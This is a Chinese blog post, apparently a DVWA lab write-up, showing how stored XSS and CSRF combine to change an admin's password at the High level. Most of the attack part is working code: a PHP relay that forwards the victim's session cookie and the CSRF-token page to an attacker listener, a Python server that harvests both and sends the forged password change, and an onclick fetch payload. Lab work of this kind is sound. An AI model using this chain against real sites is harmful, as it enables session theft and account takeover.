【XSS & CSRF 】访问时篡改密码——以DVWA-High为例

最新推荐文章于 2024-06-11 19:45:00 发布
最新推荐文章于 2024-06-11 19:45:00 发布
阅读量1k 收藏 21
点赞数 36
分类专栏： 渗透测试 文章标签： xss csrf 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Mr_Fmnwon/article/details/139151504
版权

【XSS & CSRF 】泄露cookie——以DVWA-High为例-CSDN博客第一阶段

目录

前言

一、场景想定

二、过程步骤

1.High等级下的CSRF利用

2.XSS+CSRF实现页面访问后密码被修改

三、最终利用——cookie可变下的admin密码修改

1.cookie可变

2.利用过程

总结 

前言

第二阶段，增加了一个CSRF-Token 。关于XSS的利用，cookie的泄露，在上述博客中已很清晰地说明白了~

一、场景想定

攻击者Bob在论坛发送信息

当用户Admin访问查看（或点击）Bob发送地消息时，密码可被Bob任意指定修改。

二、过程步骤

1.High等级下的CSRF利用

每次修改密码时，将各个参数放在get参数发起请求

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=331eed9528723806d29513c3bc84c1bd#

前三者都是完全透明的，而第三者是需要user_token即csrf_token，每次都在变化

实际上，查看网页源代码，可以发现下一次请求时需要拼接的合法csrf_token

下一次请求时： 

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=9d82305d7841188b6f61137bf212774a#

2.XSS+CSRF实现页面访问后密码被修改

自动地构造并发送上述请求，即可实现利用。最大的困难其实很明显：如何获取合法user_token

通过上述网页源码地的方式，可以如下实现：访问 http://127.0.0.1/DVWA-master/vulnerabilities/csrf/ 页面，从请求返回的html中可拿到下一次csrf_token

chat一个php

<?php
// 目标URL
$url = 'http://127.0.0.1/DVWA-master/111';

// 初始化一个 cURL 对象
$ch = curl_init();

// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// 执行 cURL 请求，获取返回的 HTML 代码
$response = curl_exec($ch);

// 关闭 cURL 资源
curl_close($ch);

// 如果成功获取到 HTML 代码，则发送 POST 请求
if ($response) {
    $postData = [
        'html_code' => $response
    ];

    $postUrl = 'http://127.0.0.1:8142';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $postUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));

    // 执行 POST 请求
    $postResponse = curl_exec($ch);

    // 关闭 cURL 资源
    curl_close($ch);

    // 输出 POST 请求的返回结果
    echo $postResponse;
} else {
    echo 'Failed to retrieve HTML code';
}
?>

 chat一个接收request的python http server

import re
import urllib.parse
import http.client
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer

# 创建一个自定义的请求处理类
class RequestHandler(BaseHTTPRequestHandler):
    
    # 处理 POST 请求
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        
        # 解码 URL 编码的数据
        decoded_data = urllib.parse.unquote(post_data.decode('utf-8'))
        
        # 使用正则表达式匹配 value 值
        pattern = r"value='(\w+)'"
        matches = re.findall(pattern, decoded_data)

        if matches:
            user_token = matches[0]
            print("提取出的 user_token 值:", user_token)
        else:
            print("未找到匹配的 value 字段")
        
        # 回显提取出的 user_token 值
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(user_token.encode('utf-8'))
        
        print("[+]eceived POST request:")
        print("[+]user_token:", user_token)

        # 在命令行接收用户输入的 new_password
        new_password = input("请输入新密码 new_password: ")

        # 构造访问网页的 URL
        url = f"/DVWA-master/vulnerabilities/csrf/?password_new={new_password}&password_conf={new_password}&Change=Change&user_token={user_token}"
        print(f'[+]构造请求如下：http://127.0.0.1{url}')
        # 发送请求访问网页
        conn = http.client.HTTPConnection("127.0.0.1")
        conn.request("GET", url)
        print("[+]更改密码请求已发送")

# 主函数
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8142):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'Starting HTTP server on port {port}...')
    httpd.serve_forever()

# 运行 HTTP 服务器
run()

然鹅有些问题——每一次的user_token都是一样的猜测是因为没有携带cookie，每次都是全新的请求。

做实验嘛一步步来，先写死cookie试试

<?php
// 目标URL
$url = 'http://127.0.0.1/DVWA-master/vulnerabilities/csrf';

// 初始化一个 cURL 对象
$ch = curl_init();

$requestCookieString = 'PHPSESSID=h61cr76dts84lurand2pocqjce; security=high';
// 设置请求头，包含接收到的 Cookie
$requestHeaders = array(
    'Cookie: ' . $requestCookieString // 将接收到的所有 Cookie 添加到请求头中
);


// 输出Cookie值到页面
echo "Cookie值: " . $requestCookieString . "<br>";
// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders); // 设置请求头
// 执行 cURL 请求，获取返回的 HTML 代码
$response = curl_exec($ch);

// 关闭 cURL 资源
curl_close($ch);

// 如果成功获取到 HTML 代码，则发送 POST 请求
if ($response) {
    $postData = [
        'html_code' => $response
    ];

    $postUrl = 'http://127.0.0.1:8142';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $postUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));

    // 执行 POST 请求
    $postResponse = curl_exec($ch);

    // 关闭 cURL 资源
    curl_close($ch);

    // 输出 POST 请求的返回结果
    echo $postResponse;
} else {
    echo 'Failed to retrieve HTML code';
}
?>

那么我们做请求的时候，自然也需要cookie

import re
import urllib.parse
import http.client
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer

# 创建一个自定义的请求处理类
class RequestHandler(BaseHTTPRequestHandler):
    
    # 处理 POST 请求
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        
        # 解码 URL 编码的数据
        decoded_data = urllib.parse.unquote(post_data.decode('utf-8'))
        
        # 使用正则表达式匹配 value 值
        pattern = r"value='(\w+)'"
        matches = re.findall(pattern, decoded_data)

        if matches:
            user_token = matches[0]
            print("提取出的 user_token 值:", user_token)
        else:
            print("未找到匹配的 value 字段")
        
        # 回显提取出的 user_token 值
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(user_token.encode('utf-8'))
        
        print("[+]received POST request:")
        print("[+]user_token:", user_token)

        # 在命令行接收用户输入的 new_password
        new_password = input("请输入新密码 new_password: ")

        # 构造访问网页的 URL
        url = f"/DVWA-master/vulnerabilities/csrf/?password_new={new_password}&password_conf={new_password}&Change=Change&user_token={user_token}"
        # 添加Cookie
        headers = {
            'Cookie': 'PHPSESSID=h61cr76dts84lurand2pocqjce; security=high'
        }
        print(f'[+]构造请求如下：http://127.0.0.1{url}')
        # 发送请求访问网页
        conn = http.client.HTTPConnection("127.0.0.1")
        conn.request("GET", url,headers=headers)
        print("[+]更改密码请求已发送")

# 主函数
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8142):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'Starting HTTP server on port {port}...')
    httpd.serve_forever()

# 运行 HTTP 服务器
run()

 

经过测试，可行（但是cookie写死）：

  1. 首先触发xss
  2. bob捎带usr_token发送更改密码请求
  3. 成功修改

 

三、最终利用——cookie可变下的admin密码修改

1.cookie可变

其实很简单，利用第一个实验即可。【XSS & CSRF 】泄露cookie——以DVWA-High为例-CSDN博客

修改XSS触发的CSRF-php页面、以及接收cookie\csrf-token的server.py

...........
$ch = curl_init();

$receivedCookies = $_COOKIE;

$requestCookieString = '';
foreach ($receivedCookies as $name => $value) {
    $requestCookieString .= $name . '=' . $value . '; ';
}

$requestHeaders = array(
    'Cookie: ' . $requestCookieString // 将接收到的所有 Cookie 添加到请求头中
);

...........

if ($response) {
    $postData = [
        'html_code' => $response
    ];

    $postUrl = 'http://127.0.0.1:8142';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $postUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
    curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders); // 这里设置请求头，传递cookie
    $postResponse = curl_exec($ch);

    // 关闭 cURL 资源
    curl_close($ch);

    // 输出 POST 请求的返回结果
    echo $postResponse;
} else {
    echo 'Failed to retrieve HTML code';
}
?>
...........
    def do_POST(self):
		........
        # 获取请求头中的Cookie
        cookie_header = self.headers.get('Cookie')
        if cookie_header:
            print("[+]接收到的 Cookie:", cookie_header)
        else:
            print("[!]未找到接收到的 Cookie")
		........
        # 使用接收到的Cookie
        headers = {
            'Cookie': cookie_header,
        }
		........
        conn.request("GET", url, headers=headers)
	    ........

2.利用过程

<input onclick="fetch('http://127.0.0.1/combine_cookie_token.php');">

 

总结

从一开始无法利用，到思考需要的条件，一步步实现，对CSRF、XSS的理解更深了。

唯一觉得遗憾的是，chat强大、解放编写代码门槛的同时，也让我编码能力——程序员的核心能力——迟滞不前甚至降低许多。。。唉

Mr_Fmnwon
关注
  • 36
    点赞
  • 踩
  • 21
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
Web高级知识-跨域&XSS;&CSRF;解决方案
11-26
IP协议主要解决网络路由和寻址问题，TCP协议主要解决如何在IP层之上可靠的传递数据包，使在网络上的另一端收到发端发出的所有包，并且顺序与发出顺序一致。TCP有可靠，面向连接的特点。 ...也就是说，打开一个服务器上...
DVWA-master.zip
03-13
DVWA是一款渗透测试的演练系统，用于常规WEB漏洞教学和WEB脆弱性测试。包含了SQL注入、文件上传、XSS等一些常见的安全漏洞
CSRF漏洞原理与防御方式
dreamthe的博客
09-17 1995
CSRF漏洞原理 CSRF被叫做跨站请求伪造，该怎么理解这句话呢，比如 用户a在浏览器登录了账号，当他发送登录请求时候，服务器验证了账号密码，会返回给一个身份信息存放在cookie里面，浏览器保存，那么以后用户访问服务器带着这个cookie就行了。那么怎么产生攻击的呢，是用户在已经登录的状态下，访问了一个恶意的网站，带浏览器保存的cookie值向服务器发送了恶意请求，服务器会以为是用户的请求，其实这是用户不知情的请求。垮了两个站，一个是用户登录实际网站，一个屙屎攻击者恶意构造网站，所以称作跨站请求伪造。
Web安全 CSRF漏洞的 测试和利用.（修改 管理员账号密码.）
网络安全领域___专研者.
02-18 4321
CSRF漏洞的 概括： CSRF（跨站请求伪造）漏洞的原理：攻击者是通过用户浏览了攻击者构造的链接，从而达成一个攻击的目的。主要的作用是：浏览器的安全策略是允许页面发送到任何地址的请求，攻击者可以控制页面的内容来控制浏览器 发送攻击者精心构造的请求.
DVWA_CSRF（跨站请求伪造）
yaowink的博客
05-17 287
一、首先像之前一样，进入DVWA Security 改impossible为Low并提交。 进入CSRF页面 点击View Source查看源码，password_new为新密码，password_conf为确认新密码，两个密码相等就会开始改密码，不相等就不会改 这样，于CSRF界面输入新密码，就可以轻易更改密码，例：输入12345并确认新密码，就会提示密码修改成功，这样就可以直接登录DVWA界面。这样是非常不安全的。 不过这样太明显了，一般人也不会去点这个网址，可以通过创建短链接（修改网址显.
dvwa CSRF（跨站请求伪造）
yuysjx的博客
02-08 126
csrf
DVWA——CSRF
weixin_51559599的博客
11-13 949
这样解决了上种方法在请求中加入 token 的不便，同时，通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏，也不用担心 token 会透过 Referer 泄露到其他网站中去。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。可以利用这一点漏洞，可以想办法在恶意网站的地址中添加带有 Web1 主机地址的字段。
【XSS & CSRF 】泄露cookie——以DVWA-High为例
Mr_Fmnwon的博客
05-23 1601
综合利用XSS以及CSRF实现Cookie的泄露，，，旅程比较曲折跨站脚本攻击XSS（最全最细致的靶场实战）_xss靶场-CSDN博客网站中包含大量的动态内容以提高用户体验，比过去要复杂得多。所谓动态内容，就是根据用户环境和需要，Web应用程序能够输出相应的内容。
DVWA靶机-XSS与CSRF、文件上传的攻击原理、分类、对比以及漏洞演示（low、Medium、Hign、Impossible）
天下著书立传者，皆为我师
03-16 1178
DVWA靶机--讲解XSS与CSRF、文件上传的攻击原理、分类、对比以及漏洞演示（low、Medium、Hign、Impossible）
跨站攻击(XSS+CSRF).docx
01-05
跨站请求伪造（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。...
CSRF跨站点伪造请求攻击——脱库及密码修改
温柔小薛的博客
04-11 1020
脱库及密码修改 CSRF 快速拖库案例 拖库’本来是数据库领域的术语，指从数据库中导出数据。到了黑客攻击泛滥的今天，它被用来指网站遭到入侵后，黑客窃取其数据库。 网站数据库被拖，直接导致用户信息泄露，造成的危害很大，比如：CSDN 明文密码泄露事件、小米 800W 用户信息泄露事件等等 首先，我们先登录一下 discuz 的后台，模拟管理员进行周期性的数据库备份。(admin) Uce...
csrf与xss差别 别在弄乱了 直接靶场实操pikachu的csrf题 token绕过可以吗？？？
helloKittywz的博客
06-09 1411
我们现在来说说这2个之间的关系，因为昨天的我也没有弄清楚这2者的关系，总感觉迷迷糊糊的。xss这个漏洞是大家并不怎么陌生，导致xss漏洞的产生是服务器没有对用户提交数据过滤不严格，导致浏览器把用户输入的当作js代码返回客户端进行执行，这样就导致了攻击。xss(跨站脚本攻击)可以说简单一点前端js代码可以干什么我们就可以干什么，我们可以获取到用户的cookie，获取键盘记录，钓鱼等等的操作我们来说说csrf这个漏洞csrf(跨站请求伪造)这个是利用用户的。
DOM型xss靶场实验
qq_64302290的博客
06-08 1110
DOM型xss可以使用js去控制标签中的内容。
laravel8使用中间件实现xss处理
janthinasnail的博客
06-06 458
2、编辑app/Http/Middleware/XSSClean.php文件。3、配置app/Http/Kernel.php文件。
33 _ 跨站脚本攻击（XSS）：为什么Cookie中有HttpOnly属性？
最新发布
qq_46143850的博客
06-11 830
XSS全称是Cross Site Scripting，为了与“CSS”区分开来，故简称XSS，翻译过来就是“跨站脚本”。XSS攻击是指黑客往HTML文件中或者DOM中注入恶意脚本，从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。最开始的时候，这种攻击是通过跨域来实现的，所以叫“跨域脚本”。但是发展到现在，往HTML文件中注入恶意代码的方式越来越多了，所以是否跨域注入脚本已经不是唯一的注入手段了，但是XSS这个名字却一直保留至今。
XSS(跨站脚本攻击)
guowu666的博客
06-10 1360
xss基础
Django模板标签CSRF
weixin_74923758的博客
06-11 456
{%csrf_token%} 标签时候，其实是在表单中加入一个隐藏的input标签，用来存储一个特定的CSRF令牌（Token），这个令牌是服务器生成的随机值，在用户每次访问包含CSRF保护的表单页面时都会生成一个新的令牌。在用户提交表单时，Django会检查请求中是否包含了这个CSRF令牌，并验证其有效性。如果请求中的CSRF令牌不匹配或者不存在，服务器将拒绝这个请求，从而保护网站免受CSRF攻击。在这个例子中，用户在提交登录表单时将包含一个CSRF令牌。在login_view视图中，我们使用了。
JS中一个dom元素能绑定多少事件
ggq53219的博客
06-10 534
在JavaScript中，一个DOM元素可以绑定的事件数量并没有明确的限制，这主要取决于浏览器的实现和内存限制。然而，在实际应用中，为同一个DOM元素绑定过多的事件监听器可能会导致性能问题，尤其是在事件处理函数执行复杂操作的情况下。总之，虽然JavaScript中DOM元素可以绑定的事件数量没有明确的限制，但在实际应用中应注意避免过度绑定和优化事件处理函数，以确保良好的性能和用户体验。
DVWA-XSS(DOM)
08-25
DVWA-XSS(DOM)是指DVWA靶机学习中的一种XSS攻击，它利用了DOM（文档对象模型）中的漏洞。DOM是一个与平台、编程语言无关的接口，允许程序或脚本动态地访问和更新文档内容、结构和样式。而DVWA-XSS(DOM)攻击则是通过在DOM中注入恶意脚本来篡改网页，从而控制用户浏览器的一种攻击行为。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [houkc.github.io:HouKC的博客](https://download.csdn.net/download/weixin_42157567/18459500)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [DVWA-XSS(DOM)](https://blog.csdn.net/weixin_44866139/article/details/104101228)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值